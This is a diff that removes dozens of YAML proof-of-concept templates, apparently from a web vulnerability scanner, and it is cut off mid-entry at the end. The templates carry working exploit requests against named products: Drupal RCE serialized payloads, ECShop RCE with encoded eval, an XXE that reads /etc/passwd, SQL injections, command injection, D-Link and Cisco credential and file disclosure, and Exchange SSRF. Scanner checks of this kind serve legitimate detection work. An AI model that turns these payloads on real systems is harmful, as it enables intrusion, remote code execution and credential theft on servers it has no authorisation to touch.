- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb
|
||||
@@ -1,21 +0,0 @@
|
||||
name: poc-yaml-apache-solr-file-read
|
||||
rules:
|
||||
- method: GET
|
||||
path: "/solr/admin/cores?indexInfo=false&wt=json"
|
||||
search: |
|
||||
"name":"(?P<core_name>.+?)",
|
||||
expression:
|
||||
response.status == 200
|
||||
- method: POST
|
||||
path: "/solr/{{core_name}}/config"
|
||||
headers:
|
||||
Content-type: application/json
|
||||
body: |
|
||||
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"This")
|
||||
detail:
|
||||
author: flyinbed
|
||||
links:
|
||||
- "https://mp.weixin.qq.com/s/iX2OasjynZ0MAvNTvIcmjg"
|
||||
- "https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ"
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-apacheofbiz-cve-2018-8033-xxe
|
||||
rules:
|
||||
- method: POST
|
||||
path: /webtools/control/xmlrpc
|
||||
headers:
|
||||
Content-Type: application/xml
|
||||
body: >-
|
||||
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
|
||||
follow_redirects: false
|
||||
expression: >
|
||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
|
||||
detail:
|
||||
author: su(https://suzzz112113.github.io/#blog)
|
||||
links:
|
||||
- https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-bt742-pma-unauthorized-access
|
||||
rules:
|
||||
- method: GET
|
||||
path: /pma/
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"information_schema") && response.body.bcontains(b"phpMyAdmin") && response.body.bcontains(b"server_sql.php")
|
||||
detail:
|
||||
author: Facker007(https://github.com/Facker007)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/KgAaFRKarMdycYzETyKS8A
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-cisco-cve-2020-3452-readfile
|
||||
rules:
|
||||
- method: GET
|
||||
path: /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
|
||||
follow_redirects: false
|
||||
expression: response.status == 200 && response.headers["Content-Type"] == "application/octet-stream" && response.body.bcontains(b"INTERNAL_PASSWORD_ENABLED")
|
||||
detail:
|
||||
author: JrD (https://github.com/JrDw0/)
|
||||
links:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2020-3452
|
||||
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-clusterEngine-rce-cve-2020-21224
|
||||
rules:
|
||||
- method: POST
|
||||
path: /login
|
||||
headers:
|
||||
User-Agent: >-
|
||||
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
|
||||
like Gecko) Chrome/87.0.4280.88 Safari/537.36
|
||||
body: op=login&username=;`echo 12345678987654321`&password=
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status==200 && response.body.bcontains(b'12345678987654321')
|
||||
detail:
|
||||
author: jdr
|
||||
info: CVE-2020-21224(ClusterEngineV4.0 RCE)
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-coremail-cnvd-2019-16798
|
||||
rules:
|
||||
- method: GET
|
||||
path: >-
|
||||
/mailsms/s?func=ADMIN:appState&dumpConfig=/
|
||||
follow_redirects: false
|
||||
expression: >
|
||||
response.status == 200 && response.body.bcontains(bytes("<object name=\"cm_md_db\">"))
|
||||
detail:
|
||||
author: cc_ci(https://github.com/cc8ci)
|
||||
links:
|
||||
- https://www.secpulse.com/archives/107611.html
|
||||
@@ -1,22 +0,0 @@
|
||||
name: poc-yaml-discuz-ml3x-cnvd-2019-22239
|
||||
set:
|
||||
r1: randomInt(800000000, 1000000000)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /forum.php
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200
|
||||
search: cookiepre = '(?P<token>[\w_]+)'
|
||||
- method: GET
|
||||
path: /forum.php
|
||||
headers:
|
||||
Cookie: "{{token}}language=sc'.print(md5({{r1}})).'"
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
|
||||
detail:
|
||||
author: X.Yang
|
||||
Discuz_version: Discuz!ML 3.x
|
||||
links:
|
||||
- https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239
|
||||
@@ -1,14 +0,0 @@
|
||||
name: poc-yaml-dlink-cve-2019-17506
|
||||
rules:
|
||||
- method: POST
|
||||
path: /getcfg.php
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
|
||||
follow_redirects: false
|
||||
expression: >
|
||||
response.status == 200 && response.body.bcontains(b"<name>") && response.body.bcontains(b"<password>")
|
||||
detail:
|
||||
author: l1nk3r,Huasir(https://github.com/dahua966/)
|
||||
links:
|
||||
- https://xz.aliyun.com/t/6453
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-dlink-cve-2020-25078-account-disclosure
|
||||
rules:
|
||||
- method: GET
|
||||
path: >-
|
||||
/config/getuser?index=0
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"name=admin") && response.body.bcontains(b"pass=") && response.headers["Content-Type"].contains("text/plain")
|
||||
detail:
|
||||
author: kzaopa(https://github.com/kzaopa)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-dlink-cve-2020-9376-dump-credentials
|
||||
rules:
|
||||
- method: POST
|
||||
path: /getcfg.php
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: >-
|
||||
SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
|
||||
expression: >
|
||||
response.status == 200 && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
|
||||
detail:
|
||||
author: x1n9Qi8
|
||||
Affected Version: "Dlink DIR-610"
|
||||
links:
|
||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376
|
||||
@@ -1,9 +0,0 @@
|
||||
name: poc-yaml-dlink-dcs-info-leak
|
||||
rules:
|
||||
- method: GET
|
||||
path: /config/getuser?index=0
|
||||
expression: response.status == 200 && response.body.bcontains(b"name=") && response.body.bcontains(b"pass=") && response.body.bcontains(b"priv=")
|
||||
detail:
|
||||
author: jingling(https://github.com/shmilylty)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/cG868wc7dmwxFslcwlgDpw
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-docker-api-unauthorized-rce
|
||||
rules:
|
||||
- method: GET
|
||||
path: /info
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir")
|
||||
|
||||
detail:
|
||||
author: j4ckzh0u(https://github.com/j4ckzh0u)
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce
|
||||
@@ -1,16 +0,0 @@
|
||||
name: poc-yaml-docker-registry-api-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /v2/
|
||||
follow_redirects: false
|
||||
expression: >
|
||||
response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0")
|
||||
- method: GET
|
||||
path: /v2/_catalog
|
||||
follow_redirects: false
|
||||
expression: >
|
||||
response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
|
||||
detail:
|
||||
author: p0wd3r
|
||||
links:
|
||||
- http://www.polaris-lab.com/index.php/archives/253/
|
||||
@@ -1,10 +0,0 @@
|
||||
name: poc-yaml-druid-monitor-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /druid/index.html
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers")
|
||||
detail:
|
||||
author: met7or
|
||||
links:
|
||||
- https://github.com/alibaba/druid
|
||||
@@ -1,14 +0,0 @@
|
||||
name: poc-yaml-drupal-cve-2014-3704-sqli
|
||||
rules:
|
||||
- method: POST
|
||||
path: /?q=node&destination=node
|
||||
body: >-
|
||||
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or
|
||||
updatexml(0x23,concat(1,md5(666)),1)%23]=bob&name[0]=a
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 500 && response.body.bcontains(b"PDOException") && response.body.bcontains(b"fae0b27c451c728867a567e8c1bb4e53")
|
||||
detail:
|
||||
Affected Version: "Drupal < 7.32"
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704
|
||||
@@ -1,19 +0,0 @@
|
||||
name: poc-yaml-drupal-cve-2018-7600-rce
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
links:
|
||||
- https://github.com/dreadlocked/Drupalgeddon2
|
||||
- https://paper.seebug.org/567/
|
||||
test:
|
||||
target: http://cve-2018-7600-8-x.vulnet:8080/
|
||||
@@ -1,29 +0,0 @@
|
||||
name: poc-yaml-drupal-cve-2018-7600-rce
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
|
||||
search: |
|
||||
name="form_build_id"\s+value="(?P<build_id>.+?)"
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: POST
|
||||
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_build_id={{build_id}}
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
links:
|
||||
- https://github.com/dreadlocked/Drupalgeddon2
|
||||
- https://paper.seebug.org/567/
|
||||
test:
|
||||
target: http://cve-2018-7600-8-x.vulnet:8080/
|
||||
@@ -1,33 +0,0 @@
|
||||
name: poc-yaml-drupal-cve-2019-6340
|
||||
set:
|
||||
host: request.url.host
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /node/?_format=hal_json
|
||||
headers:
|
||||
Content-Type: application/hal+json
|
||||
Accept: '*/*'
|
||||
body: |
|
||||
{
|
||||
"link": [
|
||||
{
|
||||
"value": "link",
|
||||
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:10:\"{{r1}}%%{{r2}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"printf\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
|
||||
}
|
||||
],
|
||||
"_links": {
|
||||
"type": {
|
||||
"href": "http://{{host}}/rest/type/shortcut/default"
|
||||
}
|
||||
}
|
||||
}
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.status == 403 && response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
author: thatqier
|
||||
links:
|
||||
- https://github.com/jas502n/CVE-2019-6340
|
||||
- https://github.com/knqyf263/CVE-2019-6340
|
||||
@@ -1,28 +0,0 @@
|
||||
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
|
||||
search: |
|
||||
name="form_build_id"\s+value="(?P<build_id>.+?)"
|
||||
expression: |
|
||||
response.status == 200
|
||||
- method: POST
|
||||
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_build_id={{build_id}}
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
drupal_version: 7
|
||||
links:
|
||||
- https://github.com/dreadlocked/Drupalgeddon2
|
||||
- https://paper.seebug.org/567/
|
||||
@@ -1,20 +0,0 @@
|
||||
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
|
||||
set:
|
||||
r1: randomLowercase(4)
|
||||
r2: randomLowercase(4)
|
||||
rules:
|
||||
- method: POST
|
||||
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
|
||||
expression: |
|
||||
response.body.bcontains(bytes(r1 + "%" + r2))
|
||||
detail:
|
||||
drupal_version: 8
|
||||
links:
|
||||
- https://github.com/dreadlocked/Drupalgeddon2
|
||||
- https://paper.seebug.org/567/
|
||||
test:
|
||||
target: http://cve-2018-7600-8-x.vulnet:8080/
|
||||
@@ -1,13 +0,0 @@
|
||||
name: poc-yaml-ecology-sqli
|
||||
set:
|
||||
rand: randomInt(200000000, 210000000)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20{{rand}}%20as%20id%20from%20HrmResourceManager
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(string(rand)))
|
||||
detail:
|
||||
author: whami-root(https://github.com/whami-root)
|
||||
links:
|
||||
- https://github.com/whami-root
|
||||
@@ -1,13 +0,0 @@
|
||||
name: poc-yaml-ecshop-cnvd-2020-58823-sqli
|
||||
set:
|
||||
r1: randomInt(40000, 44800)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /delete_cart_goods.php
|
||||
body: id=0||(updatexml(1,concat(0x7e,(select%20md5({{r1}})),0x7e),1))
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31)))
|
||||
detail:
|
||||
author: 凉风(http://webkiller.cn/)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/1t0uglZNoZERMQpXVVjIPw
|
||||
@@ -1,17 +0,0 @@
|
||||
name: poc-yaml-ecshop-rce
|
||||
set:
|
||||
r1: randomInt(40000, 44800)
|
||||
r2: randomInt(40000, 44800)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /user.php
|
||||
headers:
|
||||
Referer: >-
|
||||
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: action=login&pp123=printf({{r1}}*{{r2}});
|
||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
||||
detail:
|
||||
author: 凉风(http://webkiller.cn/)
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
|
||||
@@ -1,17 +0,0 @@
|
||||
name: poc-yaml-ecshop-rce
|
||||
set:
|
||||
r1: randomInt(40000, 44800)
|
||||
r2: randomInt(40000, 44800)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /user.php
|
||||
headers:
|
||||
Referer: >-
|
||||
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:193:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953aads
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: action=login&pp123=printf({{r1}}*{{r2}});
|
||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
||||
detail:
|
||||
author: 凉风(http://webkiller.cn/)
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
|
||||
@@ -1,16 +0,0 @@
|
||||
name: poc-yaml-elasticsearch-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"You Know, for Search")
|
||||
- method: GET
|
||||
path: /_cat
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"/_cat/master")
|
||||
detail:
|
||||
author: p0wd3r
|
||||
links:
|
||||
- https://yq.aliyun.com/articles/616757
|
||||
@@ -1,14 +0,0 @@
|
||||
name: poc-yaml-exchange-cve-2021-26855-ssrf
|
||||
rules:
|
||||
- method: GET
|
||||
path: /owa/auth/x.js
|
||||
headers:
|
||||
Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
"X-CalculatedBETarget" in response.headers && response.headers["X-CalculatedBETarget"].icontains("localhost")
|
||||
detail:
|
||||
author: sharecast
|
||||
Affected Version: "Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010"
|
||||
links:
|
||||
- https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-eyou-rce
|
||||
set:
|
||||
r1: randomInt(800000000, 1000000000)
|
||||
r2: randomInt(800000000, 1000000000)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /webadm/?q=moni_detail.do&action=gragh
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: type='|expr {{r1}} + {{r2}}||'
|
||||
expression: response.body.bcontains(bytes(string(r1 + r2)))
|
||||
detail:
|
||||
author: jingling(https://github.com/shmilylty)
|
||||
links:
|
||||
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
|
||||
@@ -1,16 +0,0 @@
|
||||
name: poc-yaml-f5-tmui-cve-2020-5902-rce
|
||||
rules:
|
||||
- method: POST
|
||||
path: >-
|
||||
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: fileName=%2Fetc%2Ff5-release
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"BIG-IP release")
|
||||
detail:
|
||||
author: Jing Ling
|
||||
links:
|
||||
- https://support.f5.com/csp/article/K52145254
|
||||
- https://github.com/rapid7/metasploit-framework/pull/13807/files
|
||||
@@ -1,13 +0,0 @@
|
||||
name: poc-yaml-fangweicms-sqli
|
||||
set:
|
||||
rand: randomInt(200000000, 210000000)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /index.php?m=Goods&a=showcate&id=103%20UNION%20ALL%20SELECT%20CONCAT%28md5({{rand}})%29%23
|
||||
expression: |
|
||||
response.body.bcontains(bytes(md5(string(rand))))
|
||||
detail:
|
||||
author: Rexus
|
||||
Affected Version: "4.3"
|
||||
links:
|
||||
- http://www.wujunjie.net/index.php/2015/08/02/%E6%96%B9%E7%BB%B4%E5%9B%A2%E8%B4%AD4-3%E6%9C%80%E6%96%B0%E7%89%88sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-gitlab-cnvd-2021-14193-infoleak
|
||||
rules:
|
||||
- method: POST
|
||||
path: /api/graphql
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: >-
|
||||
{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
|
||||
follow_redirects: false
|
||||
expression: response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("avatarUrl"))
|
||||
detail:
|
||||
author: 说书人(http://python.vin/)
|
||||
links:
|
||||
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-14193
|
||||
- https://gitlab.com/gitlab-org/gitlab/-/issues/244275
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-hikvision-cve-2017-7921
|
||||
rules:
|
||||
- method: GET
|
||||
path: /system/deviceInfo?auth=YWRtaW46MTEK
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"<firmwareVersion>") && response.headers["content-type"] == "application/xml"
|
||||
detail:
|
||||
author: whwlsfb(https://github.com/whwlsfb)
|
||||
links:
|
||||
- https://packetstormsecurity.com/files/144097/Hikvision-IP-Camera-Access-Bypass.html
|
||||
@@ -1,21 +0,0 @@
|
||||
name: poc-yaml-iis-put-getshell
|
||||
set:
|
||||
filename: randomLowercase(6)
|
||||
fileContent: randomLowercase(6)
|
||||
|
||||
rules:
|
||||
- method: PUT
|
||||
path: /{{filename}}.txt
|
||||
body: |
|
||||
{{fileContent}}
|
||||
expression: |
|
||||
response.status == 201
|
||||
- method: GET
|
||||
path: /{{filename}}.txt
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(bytes(fileContent))
|
||||
detail:
|
||||
author: Cannae(github.com/thunderbarca)
|
||||
links:
|
||||
- https://www.cnblogs.com/-mo-/p/11295400.html
|
||||
@@ -1,15 +0,0 @@
|
||||
name: poc-yaml-jboss-cve-2010-1871
|
||||
set:
|
||||
r1: randomInt(8000000, 10000000)
|
||||
r2: randomInt(8000000, 10000000)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /admin-console/index.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23%7b{{r1}}*{{r2}}%7d
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 302 && response.headers["location"].contains(string(r1 * r2))
|
||||
detail:
|
||||
author: fuping
|
||||
links:
|
||||
- http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html
|
||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871
|
||||
@@ -1,11 +0,0 @@
|
||||
name: poc-yaml-jboss-unauth
|
||||
rules:
|
||||
- method: GET
|
||||
path: /jmx-console/
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"jboss.management.local") && response.body.bcontains(b"jboss.web")
|
||||
detail:
|
||||
author: FiveAourThe(https://github.com/FiveAourThe)
|
||||
links:
|
||||
- https://xz.aliyun.com/t/6103
|
||||
@@ -1,14 +0,0 @@
|
||||
name: poc-yaml-jenkins-cve-2018-1000861-rce
|
||||
set:
|
||||
rand: randomLowercase(4)
|
||||
rules:
|
||||
- method: GET
|
||||
path: >-
|
||||
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27{{rand}}%27,%20version=%271%27)%0aimport%20Payload;
|
||||
follow_redirects: false
|
||||
expression: >-
|
||||
response.status == 200 && response.body.bcontains(bytes("package#" + rand))
|
||||
detail:
|
||||
author: p0wd3r
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
|
||||
@@ -1,21 +0,0 @@
|
||||
name: poc-yaml-jenkins-unauthorized-access
|
||||
set:
|
||||
r1: randomInt(1000, 9999)
|
||||
r2: randomInt(1000, 9999)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /script
|
||||
follow_redirects: false
|
||||
expression: response.status == 200
|
||||
search: |
|
||||
"Jenkins-Crumb", "(?P<var>.+?)"\);
|
||||
- method: POST
|
||||
path: /script
|
||||
body: |
|
||||
script=printf%28%27{{r1}}%25%25{{r2}}%27%29%3B&Jenkins-Crumb={{var}}&Submit=%E8%BF%90%E8%A1%8C
|
||||
expression: response.status == 200 && response.body.bcontains(bytes(string(r1) + "%" + string(r2)))
|
||||
detail:
|
||||
author: MrP01ntSun(https://github.com/MrPointSun)
|
||||
links:
|
||||
- https://www.cnblogs.com/yuzly/p/11255609.html
|
||||
- https://blog.51cto.com/13770310/2156663
|
||||
@@ -1,21 +0,0 @@
|
||||
name: poc-yaml-jumpserver-unauth-rce
|
||||
set:
|
||||
r1: randomLowercase(5)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /api/v1/authentication/connection-token/
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
|
||||
- method: GET
|
||||
path: /api/v1/authentication/connection-token/?user-only={{r1}}
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
|
||||
detail:
|
||||
author: mvhz81
|
||||
info: jumpserver unauth read logfile + jumpserver rce
|
||||
links:
|
||||
- https://s.tencent.com/research/bsafe/1228.html
|
||||
- https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw
|
||||
- https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
|
||||
@@ -1,21 +0,0 @@
|
||||
name: poc-yaml-jumpserver-unauth-rce
|
||||
set:
|
||||
r1: randomLowercase(5)
|
||||
rules:
|
||||
- method: GET
|
||||
path: /api/v1/users/connection-token/
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated")
|
||||
- method: GET
|
||||
path: /api/v1/users/connection-token/?user-only={{r1}}
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"")
|
||||
detail:
|
||||
author: mvhz81
|
||||
info: jumpserver unauth read logfile + jumpserver rce
|
||||
links:
|
||||
- https://s.tencent.com/research/bsafe/1228.html
|
||||
- https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw
|
||||
- https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-kingsoft-v8-default-password
|
||||
rules:
|
||||
- method: POST
|
||||
path: /inter/ajax.php?cmd=get_user_login_cmd
|
||||
body: "{\"get_user_login_cmd\":{\"name\":\"admin\",\"password\":\"21232f297a57a5a743894a0e4a801fc3\"}}"
|
||||
follow_redirects: true
|
||||
expression: |
|
||||
response.status == 200 && response.body.bcontains(b"ADMIN") && response.body.bcontains(b"userSession")
|
||||
detail:
|
||||
author: B1anda0(https://github.com/B1anda0)
|
||||
links:
|
||||
- https://idc.wanyunshuju.com/aqld/2123.html
|
||||
@@ -1,12 +0,0 @@
|
||||
name: poc-yaml-kingsoft-v8-file-read
|
||||
rules:
|
||||
- method: GET
|
||||
path: >-
|
||||
/htmltopdf/downfile.php?filename=/windows/win.ini
|
||||
follow_redirects: false
|
||||
expression: |
|
||||
response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) && response.headers["Content-Type"].contains("application/zip")
|
||||
detail:
|
||||
